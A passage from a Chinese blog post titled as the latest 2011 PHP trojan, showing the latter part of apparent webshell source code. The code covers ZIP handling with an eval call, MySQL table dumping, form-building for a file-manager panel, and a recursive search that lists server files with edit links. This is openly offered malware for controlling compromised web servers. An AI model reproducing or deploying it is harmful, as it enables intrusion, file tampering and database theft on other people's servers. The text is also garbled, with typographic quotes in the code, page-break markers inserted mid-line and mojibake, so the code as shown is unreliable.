  else $centd[‘comment’] = ”; $centd[‘entries’] = $data[‘entries’];
  $centd[‘disk_entries’] = $data[‘disk_entries’];
  $centd[‘offset’] = $data[‘offset’];$centd[‘disk_start’] = $data[‘disk_start’];
  $centd[‘size’] = $data[‘size’];  $centd[‘disk’] = $data[‘disk’];
  return $centd;
 }
  function ReadCentralFileHeaders($zip){
    $binary_data = fread($zip, 46);
    $header = unpack(‘vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset’, $binary_data);
 if ($header[‘filename_len’] != 0)
      $header[‘filename’] = fread($zip,$header[‘filename_len’]);
    else $header[‘filename’] = ”;
 if ($header[‘extra_len’] != 0)
      $header[‘extra’] = fread($zip, $header[‘extra_len’]);
    else $header[‘extra’] = ”;
 if ($header[‘comment_len’] != 0)
      $header[‘comment’] = fread($zip, $header[‘comment_len’]);
    else $header[‘comment’] = ”;
 if ($header[‘mdate’] && $header[‘mtime’])
    {
      $hour = ($header[‘mtime’] & 0xF800) >> 11;
      $minute = ($header[‘mtime’] & 0x07E0) >> 5;
      $seconde = ($header[‘mtime’] & 0x001F)*2;
      $year = (($header[‘mdate’] & 0xFE00) >> 9) + 1980;
      $month = ($header[‘mdate’] & 0x01E0) >> 5;
      $day = $header[‘mdate’] & 0x001F;
      $header[‘mtime’] = mktime($hour, $minute, $seconde, $month, $day, $year);
    } else {
      $header[‘mtime’] = time();#p#分页标题#e#
    }
    $header[‘stored_filename’] = $header[‘filename’];
    $header[‘status’] = ‘ok’;
    if (substr($header[‘filename’], -1) == ‘/’)
      $header[‘external’] = 0x41FF0010;
    return $header;
 }
 function add_dir($name)
 {
   $name = str_replace(“\\”, “/”, $name);
   $fr = “\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
   $fr .= pack(“V”,0).pack(“V”,0).pack(“V”,0).pack(“v”, strlen($name) );
   $fr .= pack(“v”, 0 ).$name.pack(“V”, 0).pack(“V”, 0).pack(“V”, 0);
   $this -> datasec[] = $fr;
   $new_offset = strlen(implode(“”, $this->datasec));
   $cdrec = “\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
   $cdrec .= pack(“V”,0).pack(“V”,0).pack(“V”,0).pack(“v”, strlen($name) );
   $cdrec .= pack(“v”, 0 ).pack(“v”, 0 ).pack(“v”, 0 ).pack(“v”, 0 );
   $ext = “\xff\xff\xff\xff”;
   $cdrec .= pack(“V”, 16 ).pack(“V”, $this -> old_offset ).$name;
   $this -> ctrl_dir[] = $cdrec;
   $this -> old_offset = $new_offset;
   $this -> dirs[] = $name;
 }
 function get_List($zip_name)
 {
   $zip = @fopen($zip_name, ‘rb’);
   if(!$zip) return(0);
   $centd = $this->ReadCentralDir($zip,$zip_name);
   @rewind($zip);
    @fseek($zip, $centd[‘offset’]);
 for ($i=0; $i<$centd[‘entries’]; $i++)
   {
    $header = $this->ReadCentralFileHeaders($zip);
    $header[‘index’] = $i;$info[‘filename’] = $header[‘filename’];
    $info[‘stored_filename’] = $header[‘stored_filename’];
    $info[‘size’] = $header[‘size’];$info[‘compressed_size’]=$header[‘compressed_size’];
    $info[‘crc’] = strtoupper(dechex( $header[‘crc’] ));
    $info[‘mtime’] = $header[‘mtime’]; $info[‘comment’] = $header[‘comment’];
    $info[‘folder’] = ($header[‘external’]==0x41FF0010||$header[‘external’]==16)?1:0;
    $info[‘index’] = $header[‘index’];$info[‘status’] = $header[‘status’];
    $ret[]=$info; unset($header);
   }
  return $ret;
 }
function add_File($data, $name, $compact = 1)
 {
   $name     = str_replace(‘\\’, ‘/’, $name);
   $dtime    = dechex($this->DosTime());
   $hexdtime = ‘\x’ . $dtime[6] . $dtime[7].’\x’.$dtime[4] . $dtime[5]
     . ‘\x’ . $dtime[2] . $dtime[3].’\x’.$dtime[0].$dtime[1];
   eval(‘$hexdtime = “‘ . $hexdtime . ‘”;’);
   if($compact)
   $fr = “\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00”.$hexdtime;
   else $fr = “\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00”.$hexdtime;
   $unc_len = strlen($data); $crc = crc32($data);
   if($compact){
     $zdata = gzcompress($data); $c_len = strlen($zdata);
     $zdata = substr(substr($zdata, 0, strlen($zdata) – 4), 2);
   }else{
     $zdata = $data;
   }
   $c_len=strlen($zdata);
   $fr .= pack(‘V’, $crc).pack(‘V’, $c_len).pack(‘V’, $unc_len);
   $fr .= pack(‘v’, strlen($name)).pack(‘v’, 0).$name.$zdata;
   $fr .= pack(‘V’, $crc).pack(‘V’, $c_len).pack(‘V’, $unc_len);
   $this -> datasec[] = $fr;
   $new_offset        = strlen(implode(”, $this->datasec));
   if($compact)
        $cdrec = “\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00”;
   else $cdrec = “\x50\x4b\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00”;#p#分页标题#e#
   $cdrec .= $hexdtime.pack(‘V’, $crc).pack(‘V’, $c_len).pack(‘V’, $unc_len);
   $cdrec .= pack(‘v’, strlen($name) ).pack(‘v’, 0 ).pack(‘v’, 0 );
   $cdrec .= pack(‘v’, 0 ).pack(‘v’, 0 ).pack(‘V’, 32 );
   $cdrec .= pack(‘V’, $this -> old_offset );
   $this -> old_offset = $new_offset;
   $cdrec .= $name;
   $this -> ctrl_dir[] = $cdrec;
   return true;
 }

 function DosTime() {
   $timearray = getdate();
   if ($timearray[‘year’] < 1980) {
     $timearray[‘year’] = 1980; $timearray[‘mon’] = 1;
     $timearray[‘mday’] = 1; $timearray[‘hours’] = 0;
     $timearray[‘minutes’] = 0; $timearray[‘seconds’] = 0;
   }
   return (($timearray[‘year’] – 1980) << 25) | ($timearray[‘mon’] << 21) |     ($timearray[‘mday’] << 16) | ($timearray[‘hours’] << 11) |
    ($timearray[‘minutes’] << 5) | ($timearray[‘seconds’] >> 1);
 }
  function Extract ( $zn, $to, $index = Array(-1) )
 {
   $ok = 0; $zip = @fopen($zn,’rb’);
   if(!$zip) return(-1);
   $cdir = $this->ReadCentralDir($zip,$zn);
   $pos_entry = $cdir[‘offset’];

   if(!is_array($index)){ $index = array($index);  }
   for($i=0; $index[$i];$i++){
     if(intval($index[$i])!=$index[$i]||$index[$i]>$cdir[‘entries’])
      return(-1);
   }

   for ($i=0; $i<$cdir[‘entries’]; $i++)
   {
     @fseek($zip, $pos_entry);
     $header = $this->ReadCentralFileHeaders($zip);
     $header[‘index’] = $i; $pos_entry = ftell($zip);
     @rewind($zip); fseek($zip, $header[‘offset’]);
     if(in_array(“-1”,$index)||in_array($i,$index))
      $stat[$header[‘filename’]]=$this->ExtractFile($header, $to, $zip);
     
   }
   fclose($zip);
   return $stat;
 }
 function ExtractFile($header,$to,$zip)
 {
   $header = $this->readfileheader($zip);

   if(substr($to,-1)!=”/”) $to.=”/”;
   if([email protected]_dir($to)) @mkdir($to,0777);

   $pth = explode(“/”,dirname($header[‘filename’]));
   for($i=0;isset($pth[$i]);$i++){
     if(!$pth[$i]) continue;$pthss.=$pth[$i].”/”;
     if(!is_dir($to.$pthss)) @mkdir($to.$pthss,0777);
   }
  if (!($header[‘external’]==0x41FF0010)&&!($header[‘external’]==16))
  {
   if ($header[‘compression’]==0)
   {
    $fp = @fopen($to.$header[‘filename’], ‘wb’);
    if(!$fp) return(-1);
    $size = $header[‘compressed_size’];

    while ($size != 0)
    {
      $read_size = ($size < 2048 ? $size : 2048);
      $buffer = fread($zip, $read_size);
      $binary_data = pack(‘a’.$read_size, $buffer);
      @fwrite($fp, $binary_data, $read_size);
      $size -= $read_size;
    }
    fclose($fp);
    touch($to.$header[‘filename’], $header[‘mtime’]);

  }else{
   $fp = @fopen($to.$header[‘filename’].’.gz’,’wb’);
   if(!$fp) return(-1);
   $binary_data = pack(‘va1a1Va1a1’, 0x8b1f, Chr($header[‘compression’]),
     Chr(0x00), time(), Chr(0x00), Chr(3));

   fwrite($fp, $binary_data, 10);
   $size = $header[‘compressed_size’];

   while ($size != 0)
   {
     $read_size = ($size < 1024 ? $size : 1024);
     $buffer = fread($zip, $read_size);#p#分页标题#e#
     $binary_data = pack(‘a’.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
   }

   $binary_data = pack(‘VV’, $header[‘crc’], $header[‘size’]);
   fwrite($fp, $binary_data,8); fclose($fp);

   $gzp = @gzopen($to.$header[‘filename’].’.gz’,’rb’) or die(“Cette archive est compress閑”);
    if(!$gzp) return(-2);
   $fp = @fopen($to.$header[‘filename’],’wb’);
   if(!$fp) return(-1);
   $size = $header[‘size’];

   while ($size != 0)
   {
     $read_size = ($size < 2048 ? $size : 2048);
     $buffer = gzread($gzp, $read_size);
     $binary_data = pack(‘a’.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
   }
   fclose($fp); gzclose($gzp);

   touch($to.$header[‘filename’], $header[‘mtime’]);
   @unlink($to.$header[‘filename’].’.gz’);

  }}
  return true;
 }
   function ReadFileHeader($zip)
  {
    $binary_data = fread($zip, 30);
    $data = unpack(‘vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len’, $binary_data);

    $header[‘filename’] = fread($zip, $data[‘filename_len’]);
    if ($data[‘extra_len’] != 0) {
      $header[‘extra’] = fread($zip, $data[‘extra_len’]);
    } else { $header[‘extra’] = ”; }

    $header[‘compression’] = $data[‘compression’];$header[‘size’] = $data[‘size’];
    $header[‘compressed_size’] = $data[‘compressed_size’];
    $header[‘crc’] = $data[‘crc’]; $header[‘flag’] = $data[‘flag’];
    $header[‘mdate’] = $data[‘mdate’];$header[‘mtime’] = $data[‘mtime’];

    if ($header[‘mdate’] && $header[‘mtime’]){
     $hour=($header[‘mtime’]&0xF800)>>11;$minute=($header[‘mtime’]&0x07E0)>>5;
     $seconde=($header[‘mtime’]&0x001F)*2;$year=(($header[‘mdate’]&0xFE00)>>9)+1980;
     $month=($header[‘mdate’]&0x01E0)>>5;$day=$header[‘mdate’]&0x001F;
     $header[‘mtime’] = mktime($hour, $minute, $seconde, $month, $day, $year);
    }else{$header[‘mtime’] = time();}

    $header[‘stored_filename’] = $header[‘filename’];
    $header[‘status’] = “ok”;
    return $header;
  }
}

function addziparray($dir2) //添加ZIP文件
{
 global $dir,$zipfilearray;
 @$dirs=opendir($dir.”/”.$dir2);
 while (@$file=readdir($dirs)) {
  if(!is_dir(“$dir/$dir2/$file”)) {
   $zipfilearray[]=”$dir2/$file”;
  }
  elseif($file!=”.”&&$file!=”..”) {
   addziparray(“$dir2/$file”);
  }
 }
 @closedir($dirs);
}

 // 备份数据库
 function sqldumptable($table, $fp=0) {
  $tabledump = “DROP TABLE IF EXISTS $table;\n”;
  $tabledump .= “CREATE TABLE $table (\n”;

  $firstfield=1;

  $fields = mysql_query(“SHOW FIELDS FROM $table”);
  while ($field = mysql_fetch_array($fields)) {
   if (!$firstfield) {
    $tabledump .= “,\n”;
   } else {
    $firstfield=0;
   }
   $tabledump .= ”   $field[Field] $field[Type]”;
   if (!empty($field[“Default”])) {
    $tabledump .= ” DEFAULT ‘$field[Default]'”;
   }
   if ($field[‘Null’] != “YES”) {#p#分页标题#e#
    $tabledump .= ” NOT NULL”;
   }
   if ($field[‘Extra’] != “”) {
    $tabledump .= ” $field[Extra]”;
   }
  }
  mysql_free_result($fields);
 
  $keys = mysql_query(“SHOW KEYS FROM $table”);
  while ($key = mysql_fetch_array($keys)) {
   $kname=$key[‘Key_name’];
   if ($kname != “PRIMARY” and $key[‘Non_unique’] == 0) {
    $kname=”UNIQUE|$kname”;
   }
   if(!is_array($index[$kname])) {
    $index[$kname] = array();
   }
   $index[$kname][] = $key[‘Column_name’];
  }
  mysql_free_result($keys);

  while(list($kname, $columns) = @each($index)) {
   $tabledump .= “,\n”;
   $colnames=implode($columns,”,”);

   if ($kname == “PRIMARY”) {
    $tabledump .= ”   PRIMARY KEY ($colnames)”;
   } else {
    if (substr($kname,0,6) == “UNIQUE”) {
     $kname=substr($kname,7);
    }
    $tabledump .= ”   KEY $kname ($colnames)”;
   }
  }

  $tabledump .= “\n);\n\n”;
  if ($fp) {
   fwrite($fp,$tabledump);
  } else {
   echo $tabledump;
  }

  $rows = mysql_query(“SELECT * FROM $table”);
  $numfields = mysql_num_fields($rows);
  while ($row = mysql_fetch_array($rows)) {
   $tabledump = “INSERT INTO $table VALUES(“;

   $fieldcounter=-1;
   $firstfield=1;
   while (++$fieldcounter<$numfields) {
    if (!$firstfield) {
     $tabledump.=”, “;
    } else {
     $firstfield=0;
    }

    if (!isset($row[$fieldcounter])) {
     $tabledump .= “NULL”;
    } else {
     $tabledump .= “‘”.mysql_escape_string($row[$fieldcounter]).”‘”;
    }
   }

   $tabledump .= “);\n”;

   if ($fp) {
    fwrite($fp,$tabledump);
   } else {
    echo $tabledump;
   }
  }
  mysql_free_result($rows);
 }

 class FORMS {
  function tableheader() {
   echo “<table width=\”775\” border=\”0\” cellpadding=\”3\” cellspacing=\”1\” bgcolor=\”#ffffff\”>\n”;
  }

  function headerform($arg=array()) {
   global $dir;
   if ($arg[enctype]){
    $enctype=”enctype=\”$arg[enctype]\””;
   } else {
    $enctype=””;
   }
   if (!isset($arg[method])) {
    $arg[method] = “POST”;
   }
   if (!isset($arg[action])) {
    $arg[action] = ”;
   }
   echo ”  <form action=\””.$arg[action].”\” method=\””.$arg[method].”\” $enctype>\n”;
   echo ”  <tr>\n”;
   echo ”    <td>”.$arg[content].”</td>\n”;
   echo ”  </tr>\n”;
   echo ”  </form>\n”;
  }

  function tdheader($title) {
   global $dir;
   echo ”  <tr class=\”firstalt\”>\n”;
   echo ” <td align=\”center\”><b>”.$title.” [<a href=\”?dir=”.urlencode($dir).”\”>返回</a>]</b></td>\n”;#p#分页标题#e#
   echo ”  </tr>\n”;
  }

  function tdbody($content,$align=’center’,$bgcolor=’2′,$height=”,$extra=”,$colspan=”) {
   if ($bgcolor==’2′) {
    $css=”secondalt”;
   } elseif ($bgcolor==’1′) {
    $css=”firstalt”;
   } else {
    $css=$bgcolor;
   }
   $height = empty($height) ? “” : ” height=”.$height;
   $colspan = empty($colspan) ? “” : ” colspan=”.$colspan;
   echo ”  <tr class=\””.$css.”\”>\n”;
   echo ” <td align=\””.$align.”\””.$height.” “.$colspan.” “.$extra.”>”.$content.”</td>\n”;
   echo ”  </tr>\n”;
  }

  function tablefooter() {
   echo “</table>\n”;
  }

  function formheader($action=”,$title,$target=”) {
   global $dir;
   $target = empty($target) ? “” : ” target=\””.$target.”\””;
   echo ” <form action=\”$action\” method=\”POST\””.$target.”>\n”;
   echo ”  <tr class=\”firstalt\”>\n”;
   echo ” <td align=\”center\”><b>”.$title.” [<a href=\”?dir=”.urlencode($dir).”\”>返回</a>]</b></td>\n”;
   echo ”  </tr>\n”;
  }

  function makehidden($name,$value=”){
   echo “<input type=\”hidden\” name=\”$name\” value=\”$value\”>\n”;
  }

  function makeinput($name,$value=”,$extra=”,$type=’text’,$size=’30’,$css=’input’){
   $css = ($css == ‘input’) ? ” class=\”input\”” : “”;
   $input = “<input name=\”$name\” value=\”$value\” type=\”$type\” “.$css.” size=\”$size\” $extra>\n”;
   return $input;
  }

  function maketextarea($name,$content=”,$cols=’100′,$rows=’20’,$extra=”){
   $textarea = “<textarea name=\””.$name.”\” cols=\””.$cols.”\” rows=\””.$rows.”\” “.$extra.”>”.$content.”</textarea>\n”;
   return $textarea;
  }

  function formfooter($over=”,$height=”){
   $height = empty($height) ? “” : ” height=\””.$height.”\””;
   echo ”  <tr class=\”secondalt\”>\n”;
   echo ” <td align=\”center\””.$height.”><input class=\”input\” type=\”submit\” value=\”确定\”></td>\n”;
   echo ”  </tr>\n”;
   echo ” </form>\n”;
   echo $end = empty($over) ? “” : “</table>\n”;
  }

  function makeselect($arg = array()){
   if ($arg[multiple]==1) {
    $multiple = ” multiple”;
    if ($arg[size]>0) {
     $size = “size=$arg[size]”;
    }
   }
   if ($arg[css]==0) {
    $css = “class=\”input\””;
   }
   $select = “<select $css name=\”$arg[name]\”$multiple $size>\n”;
    if (is_array($arg[option])) {
     foreach ($arg[option] AS $key=>$value) {
      if (!is_array($arg[selected])) {
       if ($arg[selected]==$key) {
        $select .= “<option value=\”$key\” selected>$value</option>\n”;#p#分页标题#e#
       } else {
        $select .= “<option value=\”$key\”>$value</option>\n”;
       }

      } elseif (is_array($arg[selected])) {
       if ($arg[selected][$key]==1) {
        $select .= “<option value=\”$key\” selected>$value</option>\n”;
       } else {
        $select .= “<option value=\”$key\”>$value</option>\n”;
       }
      }
     }
    }
   $select .= “</select>\n”;
   return $select;
  }
 }
 
 function find($path) //查找关键词
{
 global $oldkey,$type,$type2,$endline,$beline;
 if(is_dir(“$path”)){
 $tempdir=opendir(“$path”);
 while($f=readdir($tempdir)){ if($f==”.”||$f==”..”)continue;  find(“$path/$f”);}
 closedir($tempdir);
 }else{
 if(filesize(“$path”)){
 $fp=fopen(“$path”,”r”);
 $msg=fread($fp, filesize(“$path”));
 fclose($fp);
if(strpos($msg, $oldkey) !== false) {
 $dir = dirname($path);
 $file = basename($path);
if($type==”list”){
 $mymsg = explode(“\n”,$msg);
 $long = count($mymsg);
 $tmp = explode($oldkey,$msg);
 $tmp = explode(“\n”,$tmp[0]);
 $first = count($tmp);
 $end = “[“.$first.”/”.$long.”]”;
}
if($type2==”getpath”){
 $get = explode($oldkey,$msg);
 $get = strlen($get[0]);
 if(isset($beline)){
 $get = $get-$beline;
 }
 $getpath = htmlspecialchars(substr($msg, $get, $endline));
 $getpath = “title = \””.$getpath.”\””;
}
echo “<span class=\”redfont\” $getpath>找到:$dir/$file</span> |<a href=\”?action=editfile&dir=$dir&editfile=$file\” target=\”_blank\”>view+edit</a> | $end <br>”;
}
                              }
                         }                   
} 

 

——————————————————————————————————


开心洋葱 , 版权所有丨如未注明 , 均为原创丨未经授权请勿修改 , 转载请注明2011年最新php木马程序
喜欢 (0)
[开心洋葱]
分享 (0)
关于作者:
开心洋葱,开心洋葱头,水墨

您必须 登录 才能发表评论!

……